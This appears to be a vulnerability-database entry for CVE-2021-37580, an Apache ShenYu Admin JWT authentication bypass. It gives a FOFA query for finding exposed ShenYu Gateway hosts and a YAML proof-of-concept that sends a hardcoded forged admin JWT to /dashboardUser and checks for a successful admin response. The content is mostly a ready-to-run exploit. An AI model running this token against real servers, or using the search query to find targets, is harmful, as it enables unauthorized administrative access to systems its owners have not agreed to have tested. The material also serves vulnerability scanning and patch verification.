CVE-2021-37580: Apache ShenYu Admin JWT authentication bypass

2025-08-01 Apache ShenYu Admin PoC Public

Description

A flaw was found in Apache ShenYu Admin. The incorrect use of JWT in ShenyuAdminBootstrap allows an attacker to bypass authentication. This issue affected Apache ShenYu 2.3.0 and 2.4.0

fofa: title=="ShenYu Gateway"

PoC

id: CVE-2021-37580

info:
  name: Apache ShenYu Admin JWT authentication bypass
  author: pdteam
  severity: critical
  description: |-
    A flaw was found in Apache ShenYu Admin. The incorrect use of JWT in ShenyuAdminBootstrap allows an attacker to bypass authentication. This issue affected Apache ShenYu 2.3.0 and 2.4.0
    fofa: title=="ShenYu Gateway"
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37580
    - https://github.com/fengwenhua/CVE-2021-37580
  tags: cve,cve2021,shenyu,exposure
  created: 2023/06/16

rules:
  r0:
    request:
      method: GET
      path: /dashboardUser
      headers:
        X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwiZXhwIjoxNjM3MjY1MTIxfQ.-jjw2bGyQxna5Soe4fLVLaD3gUT5ALTcsvutPQoE2qk
    expression: response.status == 200 && response.body.bcontains(b'"userName":"admin"') && response.body.bcontains(b'query success') && response.body.bcontains(b'"code":200')
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities